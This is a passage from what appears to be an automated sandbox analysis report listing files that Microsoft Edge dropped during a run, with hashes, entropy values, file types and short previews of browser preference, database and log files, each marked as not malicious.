                                                                                                                                                                          Entropy (8bit):1.0
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:3:H:H
                                                                                                                                                                          MD5:D751713988987E9331980363E24189CE
                                                                                                                                                                          SHA1:97D170E1550EEE4AFC0AF065B78CDA302A97674C
                                                                                                                                                                          SHA-256:4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
                                                                                                                                                                          SHA-512:B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:[]
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):2
                                                                                                                                                                          Entropy (8bit):1.0
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:3:H:H
                                                                                                                                                                          MD5:D751713988987E9331980363E24189CE
                                                                                                                                                                          SHA1:97D170E1550EEE4AFC0AF065B78CDA302A97674C
                                                                                                                                                                          SHA-256:4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
                                                                                                                                                                          SHA-512:B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:[]
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):2
                                                                                                                                                                          Entropy (8bit):1.0
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:3:H:H
                                                                                                                                                                          MD5:D751713988987E9331980363E24189CE
                                                                                                                                                                          SHA1:97D170E1550EEE4AFC0AF065B78CDA302A97674C
                                                                                                                                                                          SHA-256:4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
                                                                                                                                                                          SHA-512:B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:[]
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):40
                                                                                                                                                                          Entropy (8bit):4.1275671571169275
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:3:Y2ktGMxkAXWMSN:Y2xFMSN
                                                                                                                                                                          MD5:20D4B8FA017A12A108C87F540836E250
                                                                                                                                                                          SHA1:1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
                                                                                                                                                                          SHA-256:6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
                                                                                                                                                                          SHA-512:507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{"SDCH":{"dictionaries":{},"version":2}}
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 9, cookie 0x7, schema 4, UTF-8, version-valid-for 4
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):36864
                                                                                                                                                                          Entropy (8bit):0.3886039372934488
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:TLqEeWOT/kIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:T2EeWOT/nDtX5nDOvyKDhU1cSB
                                                                                                                                                                          MD5:DEA619BA33775B1BAEEC7B32110CB3BD
                                                                                                                                                                          SHA1:949B8246021D004B2E772742D34B2FC8863E1AAA
                                                                                                                                                                          SHA-256:3669D76771207A121594B439280A67E3A6B1CBAE8CE67A42C8312D33BA18854B
                                                                                                                                                                          SHA-512:7B9741E0339B30D73FACD4670A9898147BE62B8F063A59736AFDDC83D3F03B61349828F2AE88F682D42C177AE37E18349FD41654AEBA50DDF10CD6DC70FA5879
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:SQLite format 3......@ ..........................................................................j..........g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):80
                                                                                                                                                                          Entropy (8bit):3.4921535629071894
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl
                                                                                                                                                                          MD5:69449520FD9C139C534E2970342C6BD8
                                                                                                                                                                          SHA1:230FE369A09DEF748F8CC23AD70FD19ED8D1B885
                                                                                                                                                                          SHA-256:3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
                                                                                                                                                                          SHA-512:EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:*...#................version.1..namespace-..&f.................&f...............
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:ASCII text
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):418
                                                                                                                                                                          Entropy (8bit):5.194286011356591
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:12:EUv8wZYebvqBZFUt8Fh/+FI5TwZYebvqBaJ:Ee8wZYebvyg8FOSTwZYebvL
                                                                                                                                                                          MD5:8E2DD9B8D5967835FD3BBD9BB55D8358
                                                                                                                                                                          SHA1:CA739DE94CFA0E5BBB982B917055C0BD0256D7B3
                                                                                                                                                                          SHA-256:68584ED5704314D84A8F62B860F9252C51B7C1A73D1C98E0B49358BF9F837884
                                                                                                                                                                          SHA-512:70E44CF1992B5DA1F6A32EF75FE9B3DFC41875C8CADACBE15200E4E764D49EB7E5DA5E65FC9B5A9F6CD6BB4AA1FAA52EE9238A1D1D170FE5165258B438DD36A6
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:2024/12/23-02:40:20.379 14d8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/12/23-02:40:20.403 14d8 Recovering log #3.2024/12/23-02:40:20.408 14d8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:ASCII text
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):418
                                                                                                                                                                          Entropy (8bit):5.194286011356591
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:12:EUv8wZYebvqBZFUt8Fh/+FI5TwZYebvqBaJ:Ee8wZYebvyg8FOSTwZYebvL
                                                                                                                                                                          MD5:8E2DD9B8D5967835FD3BBD9BB55D8358
                                                                                                                                                                          SHA1:CA739DE94CFA0E5BBB982B917055C0BD0256D7B3
                                                                                                                                                                          SHA-256:68584ED5704314D84A8F62B860F9252C51B7C1A73D1C98E0B49358BF9F837884
                                                                                                                                                                          SHA-512:70E44CF1992B5DA1F6A32EF75FE9B3DFC41875C8CADACBE15200E4E764D49EB7E5DA5E65FC9B5A9F6CD6BB4AA1FAA52EE9238A1D1D170FE5165258B438DD36A6
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:2024/12/23-02:40:20.379 14d8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/12/23-02:40:20.403 14d8 Recovering log #3.2024/12/23-02:40:20.408 14d8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:ASCII text
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):324
                                                                                                                                                                          Entropy (8bit):5.249586009491509
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:6:ARGF34q2PqLTwi23oH+TcwtpIFUt8fRRRNJZmw+fRRRNDkwOqLTwi23oH+TcwtaQ:YCIv8wZYebmFUt8Z3X/+Z3F5TwZYebaQ
                                                                                                                                                                          MD5:A8DD0526DD87191FCE9F1EF157AB3640
                                                                                                                                                                          SHA1:DDF7E980C56EA19EBF1DE1E215E925B3032E7693
                                                                                                                                                                          SHA-256:37568F8D4A4C25CC25D8AF8A7A62A3BFDB51521FE0C5E8CCAE21177BB2CA2E5C
                                                                                                                                                                          SHA-512:C2E57D40B7CE0306427B2F3F9AA51CCC09D5751250C0607D38856C2055E1BA8777D1613C7603C4D5A1714A3FAF353A87E4D6BBB269F541C787F9B86469B2B252
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:2024/12/23-02:39:59.683 19d4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/12/23-02:39:59.684 19d4 Recovering log #3.2024/12/23-02:39:59.684 19d4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:ASCII text
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):324
                                                                                                                                                                          Entropy (8bit):5.249586009491509
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:6:ARGF34q2PqLTwi23oH+TcwtpIFUt8fRRRNJZmw+fRRRNDkwOqLTwi23oH+TcwtaQ:YCIv8wZYebmFUt8Z3X/+Z3F5TwZYebaQ
                                                                                                                                                                          MD5:A8DD0526DD87191FCE9F1EF157AB3640
                                                                                                                                                                          SHA1:DDF7E980C56EA19EBF1DE1E215E925B3032E7693
                                                                                                                                                                          SHA-256:37568F8D4A4C25CC25D8AF8A7A62A3BFDB51521FE0C5E8CCAE21177BB2CA2E5C
                                                                                                                                                                          SHA-512:C2E57D40B7CE0306427B2F3F9AA51CCC09D5751250C0607D38856C2055E1BA8777D1613C7603C4D5A1714A3FAF353A87E4D6BBB269F541C787F9B86469B2B252
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:2024/12/23-02:39:59.683 19d4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/12/23-02:39:59.684 19d4 Recovering log #3.2024/12/23-02:39:59.684 19d4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):131072
                                                                                                                                                                          Entropy (8bit):0.0033616753448762224
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:3:ImtVuswalXITVlX:IiVuswjb
                                                                                                                                                                          MD5:D10B34C386FDFA6EF030134A712737DF
                                                                                                                                                                          SHA1:23F476E0C0E41A90A05E6B5145F3735243E0F69E
                                                                                                                                                                          SHA-256:797C7858AA31FA7E3F0A881F34128B3F07AB390DF16B220E65AC9D9154939B7D
                                                                                                                                                                          SHA-512:6A97A2482A27B3764E5307F7435C077A3E7351BC14CA1275FD04A27B0AF4F9FC4F440EE4BAE4680BD17CC24D8737B112064EDCA6F135AC840DC81D6437DF5153
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:VLnk.....?.........)(S\d................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 9, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 9
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):196608
                                                                                                                                                                          Entropy (8bit):1.2655751798574968
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:384:KrJ/2qOB1nxCkMzSAELyKOMq+8ETZKoxAXCVumQ:K0q+n0Jz9ELyKOMq+8ET8cUD
                                                                                                                                                                          MD5:EA6FFFDEA020DBE2412AC5D6DF619BF2
                                                                                                                                                                          SHA1:DCAED929BF1C04B63D51F84F3A9ABFAC3017C306
                                                                                                                                                                          SHA-256:0174CBE62B3DB5910998621FF5B84E6483C35487064FB90231F6355D5E24C36E
                                                                                                                                                                          SHA-512:C278E086B95D5AB523968E31F417BF805C65D56AB4350C2CC05E3689652171AE83CC1E327B16CE143C12B4A62095C3F72AEF7F75CB1C48D815FCC00A1F36FBEE
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 10, cookie 0x7, schema 4, UTF-8, version-valid-for 1
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):40960
                                                                                                                                                                          Entropy (8bit):0.41235120905181716
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:48:Tnj7dojKsKmjKZKAsjZNOjAhts3N8g1j3UcB:v7doKsKuKZKlZNmu46yjx
                                                                                                                                                                          MD5:981F351994975A68A0DD3ECE5E889FD0
                                                                                                                                                                          SHA1:080D3386290A14A68FCE07709A572AF98097C52D
                                                                                                                                                                          SHA-256:3F0C0B2460E0AA2A94E0BF79C8944F2F4835D2701249B34A13FD200F7E5316D7
                                                                                                                                                                          SHA-512:C5930797C46EEC25D356BAEB6CFE37E9F462DEE2AE8866343B2C382DBAD45C1544EF720D520C4407F56874596B31EFD6822B58A9D3DAE6F85E47FF802DBAA20B
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:SQLite format 3......@ ..........................................................................j.......w..g...........M...w..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):9220
                                                                                                                                                                          Entropy (8bit):5.077810642838238
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:192:stFCkdpsZbIJZVk9sS3oC88bV+FiAfn9H+PQYJ:stQCsZbiZO3bGiOS
                                                                                                                                                                          MD5:5F4267F7835DB6078EB9383C57E3A3BA
                                                                                                                                                                          SHA1:BCAB47BFA29F10540F361CFFCB52ABFFA29FDD01
                                                                                                                                                                          SHA-256:3A4EC9D1E6C0971297D2B86E2545D49A2810DD4CBDB5B0EA0BEF1F5B5B6526E4
                                                                                                                                                                          SHA-512:4E281875D7DF64917F5E18483AF97742566B754F266C918D7092FBE0D188DE92079C2792B7E135BFBBBCCAECF62D23E205126D95572441371B3DE66DBD1E4F14
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13379413200171462","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340970644573687","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":914,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":70,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"li
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:ASCII text, with very long lines (3951), with CRLF line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):11755
                                                                                                                                                                          Entropy (8bit):5.190465908239046
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
                                                                                                                                                                          MD5:07301A857C41B5854E6F84CA00B81EA0
                                                                                                                                                                          SHA1:7441FC1018508FF4F3DBAA139A21634C08ED979C
                                                                                                                                                                          SHA-256:2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
                                                                                                                                                                          SHA-512:00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:very short file (no magic)
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1
                                                                                                                                                                          Entropy (8bit):0.0
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:3:L:L
                                                                                                                                                                          MD5:5058F1AF8388633F609CADB75A75DC9D
                                                                                                                                                                          SHA1:3A52CE780950D4D969792A2559CD519D7EE8C727
                                                                                                                                                                          SHA-256:CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
                                                                                                                                                                          SHA-512:0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:.
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):12753
                                                                                                                                                                          Entropy (8bit):5.267111874355355
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:192:stFCJ99QTryDigabatSuypsZbIJZN1eTAk9sS3oC88bV+FiAWaQ+PQYJ:stQPGKSuasZbiZNg3bGioQS
                                                                                                                                                                          MD5:A99AFC85BD8F69D870E292E078EC22D7
                                                                                                                                                                          SHA1:17C83A65358B9EBB4B6FFBF7408C6F669F66FF04
                                                                                                                                                                          SHA-256:086477AB96FD28E00FFBB99FD2A6075FDB63459D157C9980255B4EA10B6D61E9
                                                                                                                                                                          SHA-512:8EE5784F82C15946AFAFD232EAF8E66D91D8152613B7778934817D81F198CDFC4377831F4C38D7951DBA825CC097D48B79500E9E71659127E0D3DAAD6DD92DEF
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13379413200171462","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340970644573687","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x4, schema 4, UTF-8, version-valid-for 1
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):28672
                                                                                                                                                                          Entropy (8bit):0.3410017321959524
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:12:TLiqi/nGb0EiDFIlTSFbyrKZb9YwFOqAyl+FxOUwa5qgufTJpbZ75fOSG:TLiMNiD+lZk/Fj+6UwccNp15fBG
                                                                                                                                                                          MD5:98643AF1CA5C0FE03CE8C687189CE56B
                                                                                                                                                                          SHA1:ECADBA79A364D72354C658FD6EA3D5CF938F686B
                                                                                                                                                                          SHA-256:4DC3BF7A36AB5DA80C0995FAF61ED0F96C4DE572F2D6FF9F120F9BC44B69E444
                                                                                                                                                                          SHA-512:68B69FCE8EF5AB1DDA2994BA4DB111136BD441BC3EFC0251F57DC20A3095B8420669E646E2347EAB7BAF30CACA4BCF74BD88E049378D8DE57DE72E4B8A5FF74B
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:SQLite format 3......@ ..........................................................................j..........g.....P....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):40504
                                                                                                                                                                          Entropy (8bit):5.561289103295667
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:768:h0HOC87pLGLh79WP0qffOy8F1+UoAYDCx9Tuqh0VfUC9xbog/OVVEXYQeGrwXOvl:h0HOCgch79WP0qffOyu1jaUEXveDXOvl
                                                                                                                                                                          MD5:D7F565013159BFF4857A48614F71D7EA
                                                                                                                                                                          SHA1:A59149B14A9DA1CB74FBA3FDBE5B34419A24C296
                                                                                                                                                                          SHA-256:0F600F2149908C340AE3F91F99B9C7DEB796AB5F53FBE8269E7580392375285E
                                                                                                                                                                          SHA-512:6F06422335629900B0CC46DFFCB24F3CB4C9847E6BF9C7B1CCEEF1445B5A4AE50784CF28E07DC3A904D792118C20CE79D22FA8770E36AB39A075A1914F91BA6D
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13379413199515531","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13379413199515531","location":5,"ma
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):12753
                                                                                                                                                                          Entropy (8bit):5.267053298130936
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:192:stFCJ99QTryDigabatSuypsZbIJZN1eTAk9sS3oC88bV+FiAMaQ+PQYJ:stQPGKSuasZbiZNg3bGiGQS
                                                                                                                                                                          MD5:9E3074FEB9F538ECB2A623C58DD6F454
                                                                                                                                                                          SHA1:8B753F91EDC636E865B209D11D082C1CBC55D618
                                                                                                                                                                          SHA-256:00520D8EC71D8B5B68520C81C9DC0EF26053AEE88287D896A370BF44DB753571
                                                                                                                                                                          SHA-512:E8EB6EB6A7DE44D12946F6C32384165D4078DDD7CD90AF1DD8EEAF4C51705DD1E400C09EF70EC6705A96C5F9A4E56B36F187CA69284818877C7263228EBDE7C3
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13379413200171462","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340970644573687","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):32768
                                                                                                                                                                          Entropy (8bit):0.04961500812665619
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:6:Gd0oTlZGd0oTlZtqL9XCChslotGLNl0ml/XoQDeX:zoB9oBTypEjVl/XoQ
                                                                                                                                                                          MD5:68B418984B1C312556D102B4002D8374
                                                                                                                                                                          SHA1:16C36B2BA32E5C11D1FAD07A34906C92A65FA63A
                                                                                                                                                                          SHA-256:3CB91999534FDD120E4002E55654EB779619879717C432E84D17B33CB5CF41CD
                                                                                                                                                                          SHA-512:273D430453F22DEA336406522DEB9CF86ACF0F6FEB36CD57092A99FC9AD6A6088F136C69F3F16E429F3B0F75F7DE47FE5B5F2143905D58560106BF61CD59FA87
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:..-...........................}XF{.....h.1..|1....-...........................}XF{.....h.1..|1..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):485
                                                                                                                                                                          Entropy (8bit):4.055987250793295
                                                                                                                                                                          Encrypted:false
